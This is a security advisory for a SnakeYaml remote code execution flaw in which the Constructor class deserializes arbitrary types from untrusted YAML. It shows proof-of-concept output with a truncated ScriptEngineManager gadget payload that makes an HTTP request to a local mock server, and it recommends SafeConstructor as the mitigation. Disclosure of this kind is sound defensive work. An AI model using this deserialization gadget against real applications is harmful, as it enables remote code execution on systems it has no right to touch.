SnakeYaml Constructor Deserialization Remote Code Execution

### Summary SnakeYaml's `Constructor` class, which inherits from `SafeConstructor`, allows any type be deserialized given the following line: new Yaml(new Constructor(TestDataClass.class)).load(yamlContent); Types do not have to match the types of properties in the target class. A `ConstructorException` is thrown, but only after a malicious payload is deserialized. ### Severity High, lack of type checks during deserialization allows remote code execution. ### Proof of Concept Execute `bash run.sh`. The PoC uses Constructor to deserialize a payload for RCE. RCE is demonstrated by using a payload which performs a http request to http://127.0.0.1:8000. Example output of successful run of proof of concept: ``` $ bash run.sh [+] Downloading snakeyaml if needed [+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE nc: no process found [+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server. [+] An exception is expected. Exception: Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0 in 'string', line 1, column 1: payload: !!javax.script.ScriptEn ... ^ Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager in 'string', line 1, column 10: payload: !!javax.script.ScriptEngineManag ... ^ at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291) at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172) at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230) at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220) at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174) at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158) at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491) at org.yaml.snakeyaml.Yaml.load(Yaml.java:416) at Main.main(Main.java:37) Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167) at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171) at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81) at java.base/java.lang.reflect.Field.set(Field.java:780) at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44) at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286) ... 9 more [+] Dumping Received HTTP Request. Will not be empty if PoC worked GET /proof-of-concept HTTP/1.1 User-Agent: Java/11.0.14 Host: localhost:8000 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive ``` ### Further Analysis Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content. See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject. ### Timeline **Date reported**: 4/11/2022 **Date fixed**: [30/12/2022](https://bitbucket.org/snakeyaml/snakeyaml/pull-requests/44) **Date disclosed**: 10/13/2022

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